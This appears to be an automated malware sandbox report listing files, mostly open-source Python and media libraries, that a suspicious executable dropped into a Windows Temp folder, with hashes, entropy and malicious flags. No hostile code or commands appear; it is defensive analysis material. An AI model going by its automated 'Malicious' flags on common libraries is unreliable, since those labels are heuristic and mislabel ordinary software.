Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1002
Entropy (8bit):	5.178870450986544
Encrypted:	false
SSDEEP:	24:wy+rmJHcwH0MP3gt99QHOsUv4eOk4/+/m3oqMSFJ:9+aJ8YHvEnQHOs5exm3oEFJ
MD5:	3590EB8D695BDCEA3BA57E74ADF8A4ED
SHA1:	5B3C3863D521CF35E75E36A22E5EC4A80C93C528
SHA-256:	6C194D6DB0C64D45535D10C95142B9B0CDA7B7DCC7F1DDEE302B3D536F3DBE46
SHA-512:	405E4F136E282352DF9FC60C2CE126E26A344DD63F92AAB0E77DE60694BD155A13CF41C13E88C00FB95032A90526AD32C9E4B7D53CA352E03C3882ED648821F0
Malicious:	false
Preview:	Copyright (c) 2004 Istvan Albert unless otherwise noted..Copyright (c) 2006-2010 Bob Ippolito.Copyright (2) 2010-2020 Ronald Oussoren, et. al...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS.IN THE SOFTWARE

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7221
Entropy (8bit):	4.9307261309791395
Encrypted:	false
SSDEEP:	96:D4fEqzwjaaYxmPktW13ieOGZND9wSNEd+KezAYx09zB5KENViyh5YZXc9Me6WEFl:hq08GZNtyui9KUQHDyKtZB
MD5:	6CC13052FD94000C7D33837690FDC307
SHA1:	8B0A3C095FB607F7C4B31313D4E24D1F54DDDCBE
SHA-256:	177364F7304A48C8A2DE436BFC9BB8B22DF8FBE668B9DFD4307147B194FACADF
SHA-512:	18D4FE8FEAFC5CB4609AAE5D62240CEC955D617036EA81AE46EE0E86D4CA6F6E4ACA29F0818DDF2CDD20E4FFD67B73028DFFB44D9F9BAC53DAB0EF8C66958E30
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: altgraph.Version: 0.17.2.Summary: Python graph (network) package.Home-page: https://altgraph.readthedocs.io.Author: Ronald Oussoren.Author-email: ronaldoussoren@mac.com.Maintainer: Ronald Oussoren.Maintainer-email: ronaldoussoren@mac.com.License: MIT.Download-URL: http://pypi.python.org/pypi/altgraph.Keywords: graph.Platform: any.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Class

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1466
Entropy (8bit):	5.807316066227277
Encrypted:	false
SSDEEP:	24:1n/2zDihv5MYDoy1gFsllrIhikh39+SWo4bd4EUbR4w1+cWcRG2lkLnTcD6uKucl:1nuXihyY0y1gWllriHh39+7oI4NbKw1U
MD5:	5FA0E2178BF1E90AEB91FC9BE7B38DF3
SHA1:	6EE4524647154D2563B0D7AA890C77D7207B8F99
SHA-256:	9DEA6E9C81E322DA50CA8FE39A0095D8BE044E51108D3A2BEADD2F6876137BC8
SHA-512:	38DBB0A5153411F334C1002C9BCF4811B024A97A13336B7D26E0D68D1278393B279CB7518A27613F6717216DB9E30C631393E475306E2EFDC25A2391AA37B907
Malicious:	false
Preview:	altgraph-0.17.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..altgraph-0.17.2.dist-info/LICENSE,sha256=bBlNbbDGTUVTXRDJUUK5sM2nt9zH8d3uMCs9U289vkY,1002..altgraph-0.17.2.dist-info/METADATA,sha256=F3Nk9zBKSMii3kNr_Ju4si34--Zoud_UMHFHsZT6yt8,7221..altgraph-0.17.2.dist-info/RECORD,,..altgraph-0.17.2.dist-info/WHEEL,sha256=Z-nyYpwrcSqxfdux5Mbn_DQ525iP7J2DG3JgGvOYyTQ,110..altgraph-0.17.2.dist-info/top_level.txt,sha256=HEBeRWf5ItVPc7Y9hW7hGlrLXZjPoL4by6CAhBV_BwA,9..altgraph-0.17.2.dist-info/zip-safe,sha256=AbpHGcgLb-kRsJGnwFEktk7uzpZOCcBY74-YBdrKVGs,1..altgraph/Dot.py,sha256=fHS-GozpcEKyWxW2v110JaFMS68iIc0oYFlFDuNQgOQ,9901..altgraph/Graph.py,sha256=6b6fSHLA5QSqMDnSHIO7_WJnBYIdq3K5Bt8VipRODwg,20788..altgraph/GraphAlgo.py,sha256=Uu9aTjSKWi38iQ_e9ZrwCnzQaI1WWFDhJ6kfmu0jxAA,5645..altgraph/GraphStat.py,sha256=vj3VqCOkzpAKggxVFLE_AlMIfPm1WN17DX4rbZjXAx4,1890..altgraph/GraphUtil.py,sha256=1T4DJc2bJn6EIU_Ct4m0oiKlXWkXvqcXE8CGL2K9en8,3990..altgraph/ObjectGraph.py,sha256=o7f

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHoKKjP+tPCCf7irO5S:RtBMwlViQWBBwt
MD5:	5BBA2AABC4A5D75E954C7EDF9834DE0A
SHA1:	407755EDC93510D5F7556ECDD1E7CB42F9357D8F
SHA-256:	67E9F2629C2B712AB17DDBB1E4C6E7FC3439DB988FEC9D831B72601AF398C934
SHA-512:	803B1181918FB2D93D2D2715D96E087E9333647C4A4A405D4FAD9DEDE0B77C8E3BCD5CAC7F3A426C60715202E2ECEBCD3EE9E066B2233A814A9A821D23BE88D0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:gRUEv:gee
MD5:	BEB0CA64AA7DD6722F65930793F447D5
SHA1:	9BBA1BCE17FB25BDC9E6AA7AD8077999422EFD86
SHA-256:	1C405E4567F922D54F73B63D856EE11A5ACB5D98CFA0BE1BCBA08084157F0700
SHA-512:	BC4C40BCC527A9E40A934B6B594278A89625C9142795582C223E227A2D6ECCEB3233F10AA790E87D44171207AC0FEAC09581BD63C71937F97BB8F07E8CC88F30
Malicious:	false
Preview:	altgraph.

C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info\zip-safe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	831571
Entropy (8bit):	5.700753783228928
Encrypted:	false
SSDEEP:	12288:mVghg9FMWyrVqF3IUtA4a2Y4dgVwOlfJEW4XSgMNP:mVghVVrCLa2oVwOlfJEW4fMNP
MD5:	AB6D3149A35E6BADDF630CDCEFE0DAB5
SHA1:	44CDB197E8E549A503F6CFCB867A83BF2214D01C
SHA-256:	1D91FA604893531393F83E03E68EB97D2C14C2D957ED33877D2B27B7C30CE059
SHA-512:	28A882E86D92D42FF983B68445CC90431C2B65B7EC3ABBFFB5585A9750D67B8B52A1361E20D4D80CA4A30B927FE543A2E9C9A65C1846E42A112B511DDC59545A
Malicious:	false
Preview:	PK..........!.].us............_collections_abc.pyco........6.-........................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

C:\Users\user\AppData\Local\Temp\_MEI79282\libFLAC-8.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	441344
Entropy (8bit):	6.545898731490233
Encrypted:	false
SSDEEP:	6144:Z6YsI3td2yZECUMTQ5YCsjQDN4eZT/NOQrbZTXFbqI64jZmFcTrPNWLR:YYsIdNk75Y/QZJ/xAI62sILNmR
MD5:	FD74CB249FD04ED439126C4E5D776539
SHA1:	3D32C5C02D4666E99FF287811314A9B4B2BD2F18
SHA-256:	D0733BF2E0980904E7D80FABA790CB3A61B5F4032B4D4EDC0928092534C57641
SHA-512:	F6B67BEAD87E37E4B648EF0A6D78F86D4FF22277FF2FEA06C2F3F5405D2FCD6887A010A4AD83708E4234AFF16EEFF48C81711174DFB7079ECB04E3CD80735DA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................d.............................`................ ..........................................Q......l............P...............P..h........................... @..(....................................................text............................... .P`.data...............................@.P..rdata...P.......R..................@.`@.pdata.......P......................@.0@.xdata.......p.......4..............@.0@.bss..................................`..edata...Q.......R...P..............@.0@.idata..l...........................@.0..CRT....X....0......................@.@..tls....h....@......................@.`..reloc..h....P......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3438840
Entropy (8bit):	6.094542623790425
Encrypted:	false
SSDEEP:	49152:DTKuk2HvIU6iwpOjPWBdwQN+5X2uyWsrV4+OGyu1BYGx6KCIrA9NPe0Cs5Z1CPwE:Pg+Hb5Wt+2BoBIcU0CsD1CPwDv3uFfJZ
MD5:	63C756D74C729D6D24DA2B8EF596A391
SHA1:	7610BB1CBF7A7FDB2246BE55D8601AF5F1E28A00
SHA-256:	17D0F4C13C213D261427EE186545B13EF0C67A99FE7AD12CD4D7C9EC83034AC8
SHA-512:	D9CF045BB1B6379DD44F49405CB34ACF8570AED88B684D0AB83AF571D43A0D8DF46D43460D3229098BD767DD6E0EF1D8D48BC90B9040A43B5469CEF7177416A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................0.........................3........^....^.....^....^.\...^....Rich............................PE..d....A.a.........." ......$...................................................5.......4...`..........................................h/..h...:4.@....p4.\|....`2.h....\4.......4..O..,.,.8...........................p.,.8............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata..8....`2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..c....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...x....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libfreetype-6.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	6.4460699567644255
Encrypted:	false
SSDEEP:	12288:w7AvRbpuflWqWyhb/e+AUCnGqI3qoTF1OgfEWm:w7AWVhbm+AWqc5uZ
MD5:	42AB9DD5740879C8A0913047149D3A60
SHA1:	D117EF70D0100615B5D50FB555345545E823235B
SHA-256:	8E263FD9257E8E83BAFDA0C943184A498C07424C4D558321FDB48C9A197E58A4
SHA-512:	5C0656521815CB504A1E840FD0163B0EB10D6B7237DBB76C6BDBF66388111667FB1D4FE78C2BBE8D00D377CF150200142CE7E33CB5434960F69A77899322B417
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....j.....................j.............................p......d7........ .............................................. ..T....P.......p...:...........`.............................. @..(...................p".. ............................text...xh.......j..................`.P`.data...P............n..............@.P..rdata..p............p..............@.`@.pdata...:...p...<...F..............@.0@.xdata..(9.......:..................@.0@.bss..................................`..edata..............................@.0@.idata..T.... ......................@.0..CRT....X....0......................@.@..tls....h....@......................@.`..rsrc........P......................@.0..reloc.......`......................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libjpeg-9.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	6.389441331010228
Encrypted:	false
SSDEEP:	6144:I7wNZIYb0maLgCaqrWqg7EdP8J1dJHoFaeghCbBL:I7we7gCaqrWqg7EdP8jpY
MD5:	C540308D4A8E6289C40753FDD3E1C960
SHA1:	1B84170212CA51970F794C967465CA7E84000D0E
SHA-256:	3A224AF540C96574800F5E9ACF64B2CDFB9060E727919EC14FBD187A9B5BFE69
SHA-512:	1DADC6B92DE9AF998F83FAF216D2AB6483B2DEA7CDEA3387AC846E924ADBF624F36F8093DAF5CEE6010FEA7F3556A5E2FCAC494DBC87B5A55CE564C9CD76F92B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................i.............................@................ .................................................................x............0.............................. ..(...................<................................text............................... .P`.data........ ......................@.P..rdata...J...0...L..................@.`@.pdata..x............b..............@.0@.xdata...............x..............@.0@.bss....P.............................`..edata..............................@.0@.idata..............................@.0..CRT....X...........................@.@..tls....h.... ......................@.`..reloc.......0......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libmodplug-1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	252928
Entropy (8bit):	6.026658168903651
Encrypted:	false
SSDEEP:	6144:RRqa7bnBhGtVg5y/yNmS4caYYXFfCimqFOUA:aafnBwti5y/aaYqFhDF
MD5:	375B63E3990BAA045AE9316BCF8622A6
SHA1:	36E601F66E6A1F366273CCD46E61B935106F6BC2
SHA-256:	640BC4C744FB6B03672A9B638DC9BDC68512EF55231BE8793D3C938EE8452821
SHA-512:	3DA3DEF9FFE666EE0FD475198943F8D213306F820CE6E40CA0AC674286FD1D9553D1E43EB9646FCABD31C5EE5F21D6F577A7CAE80837AAB658199258C3FD38A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................l............................. .......w........ .................................................................................l...............................(....................................................text...............................`.P`.data...`b...0...d..................@.`..rdata..PC.......D..................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....X...........................@.@..tls....P...........................@.`..reloc..l...........................@.0B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libmpg123-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	337408
Entropy (8bit):	6.476582389804296
Encrypted:	false
SSDEEP:	6144:uHONz42n45OiGuNgJMnTf4zC1K1t1vvxbrzTv:bNn45dGuN8e6vRrP
MD5:	91076302DCEBF1AF925CB8FF2211D56A
SHA1:	2B12382B81B9C84F14C29B41BE5173405D696AD0
SHA-256:	F0E36BF80B152B03CCFF9709E2A1B634C70EEFB3538575228F80CDBEB0504A81
SHA-512:	3CA0415D782D8715CE6C90F25BB1F45DFB1534569A1935CAF90A242591665E50F37B560A4E87EF4DBF25849CF6F1990FF99E9BD36F6CEB92BDD600880F508699
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................c.............................................. ......................................P.......`..\|...............................l........................... ...(...................(c...............................text............................... .P`.data........0......."..............@.`..rodata......@.......*..............@.`..rdata.......P.......0..............@.`@.pdata..............................@.0@.xdata..............................@.0@.bss.........0........................`..edata.......P......................@.0@.idata..\|....`......................@.0..CRT....X....p......................@.@..tls....h............ ..............@.`..reloc..l............"..............@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libogg-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	6.073162645703993
Encrypted:	false
SSDEEP:	768:JIBmX6tFu4kYOvBHwDFHs0YZqCC3m1/z0BDtZH5zhG4:CBmX6S4kYOvJGMRZABDflI
MD5:	25229B27A1C0C27A14C1AFBC53109902
SHA1:	804374253AC61B83125C05F0F3C493821D640729
SHA-256:	EA4B1AC5754ECDF7B7DC2C5EBD22456263712CC59526E28746BF5D4D4F987A60
SHA-512:	762AA7D7FC246CC320FCAAE171F30C99257664CCCE4934EEB4F969D33567A8926534040481EC4090B2390F56A23540A606DD8CBE3FB4A78D28D4B1B78FABDB2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........<................hp.............................`............... .............................................. ..l............................P..h........................... @..(...................."...............................text...@........................... .P`.data...............................@.P..rdata..............................@.`@.pdata..............................@.0@.xdata..4...........................@.0@.bss....P.............................`..edata..............................@.0@.idata..l.... ......................@.0..CRT....X....0......................@.@..tls....h....@......................@.`..reloc..h....P......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libopus-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124928
Entropy (8bit):	6.499787172683483
Encrypted:	false
SSDEEP:	3072:HV8bU83RtHQE2mB3oFx6oZ+RuzK9YLkhYPN7K:AU8htHQKV26+Q8khYPNK
MD5:	9F41C6E4B6D35A7F70D2A2F4D4FC0CB5
SHA1:	C0AE7574D1168FF541C2151EC0B78C91CFE96D53
SHA-256:	F689176C1F47253AB53FD10ACB36DF8C8342D97829FCB17D2782473BFD5FAF86
SHA-512:	F5441C59D45F388322E61A11B481BDBC198AA7713D1D5487896A2AC68F324FDAD8E13AD4E729F02361FD0FAE8445916DE54963A9528005A1FBF98ED2B4025F1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........Z................Pb.............................`................ .........................................Q.... ..8............................P...............................@..(....................!...............................text.............................. .P`.data...@...........................@.`..rdata...B.......D..................@.`@.bss....@.............................`..edata..Q...........................@.0@.idata..8.... ......................@.0..CRT....X....0......................@.@..tls....P....@......................@.`..reloc.......P......................@.0B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libopusfile-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.8774738883904
Encrypted:	false
SSDEEP:	768:oqkwKNiDC2mmEBLcZnS0ZXhecSxZBTPZKlo+xYOigx:vK4DC6RSuXhsxZpZAMgx
MD5:	E0B6829586A4534D1B484F4476AD018A
SHA1:	DB7537BE1E1DB0099DF8C64EA192D5B3A18794AB
SHA-256:	40C0585D4C0B8A68F4581AF48E28E05DE935652D459CCE0DD1E34597105E3425
SHA-512:	FA60AFA18EC5A564E9DFE8CC5C1C785839ECD5B94D63B563085EF479768BC59CC0A1C2074775E6E86B78E2DFB70E1E5C39F1D9719D2F808DF22E3C765E341E18
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."......... .................f.............................0................ .............................................................................. ..0...............................(................... ................................text...`........................... .P`.data...p...........................@.P..rdata..............................@.`@.bss....@.............................`..edata..............................@.0@.idata..............................@.0..CRT....X...........................@.@..tls....P...........................@.`..reloc..0.... ......................@.0B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libpng16-16.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	210944
Entropy (8bit):	6.4218776738200525
Encrypted:	false
SSDEEP:	3072:VatMOImapxER0/vnm2mjq61IJJT1fX0yuWUQstxZw2TnzFEY5IQ:VatMOImapaR03nmnYJV1cjtnwunw
MD5:	3A26CD3F92436747D2285DCEF1FAE67F
SHA1:	E3D1403BE06BEB32FC8DC7E8A58C31E18B586A70
SHA-256:	E688B4A4D18F4B6CCC99C6CA4980F51218CB825610775192D9B60B2F05EFF2D5
SHA-512:	73D651F063246723807D837811EAD30E3FACA8CB0581603F264C28FEA1B2BDB6D874A73C1288C7770E95463786D6945B065D4CA1CF553E08220AEA4E78A6F37F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....v...4.................h.............................................. ......................................`..........H...............0...............\|........................... ...(...................................................text...hu.......v..................`.P`.data................z..............@.P..rdata..`V.......X...\|..............@.`@.pdata..0...........................@.0@.xdata....... ......................@.0@.bss.... ....@........................`..edata.......`......................@.0@.idata..H............&..............@.0..CRT....X............2..............@.@..tls....h............4..............@.`..reloc..\|............6..............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698104
Entropy (8bit):	5.531132600342763
Encrypted:	false
SSDEEP:	12288:tgH+zxL52Y1Ag5EbSJyin89m8GXfbmednWAeO6GKaf525eWP8U2lvzI:DD1Ag5h/L5mO6GVf52se8U2lvzI
MD5:	86556DA811797C5E168135360ACAC6F2
SHA1:	42D868FC25C490DB60030EF77FBA768374E7FE03
SHA-256:	A594FC6FA4851B3095279F6DC668272EE975E7E03B850DA4945F49578ABE48CB
SHA-512:	4BA4D6BFFF563A3F9C139393DA05321DB160F5AE8340E17B82F46BCAF30CBCC828B2FC4A4F86080E4826F0048355118EF21A533DEF5E4C9D2496B98951344690
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!9._@W^_@W^_@W^V8.^S@W^.7V_]@W^.2V_]@W^.7R_T@W^.7S_W@W^.7T_[@W^.7V_\@W^_@V^.AW^.7S_s@W^.7W_^@W^.7.^^@W^.7U_^@W^Rich_@W^........PE..d....A.a.........." .....<...T......<...............................................)&....`.........................................00...N..HE..........s.......\|M..............t...t...8...............................8............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..c............d..............@..@.rsrc...s............f..............@..@.reloc..]............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libtiff-5.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	432640
Entropy (8bit):	5.730341458989521
Encrypted:	false
SSDEEP:	6144:d8x4RKXHtEOtiYFJEn9RX9kgr+6Dr1Xu1ih/QpGJylW:qx4RK3tvKRH3Dt4ih9Ji
MD5:	7D40A697CA6F21A8F09468B9FCE565AD
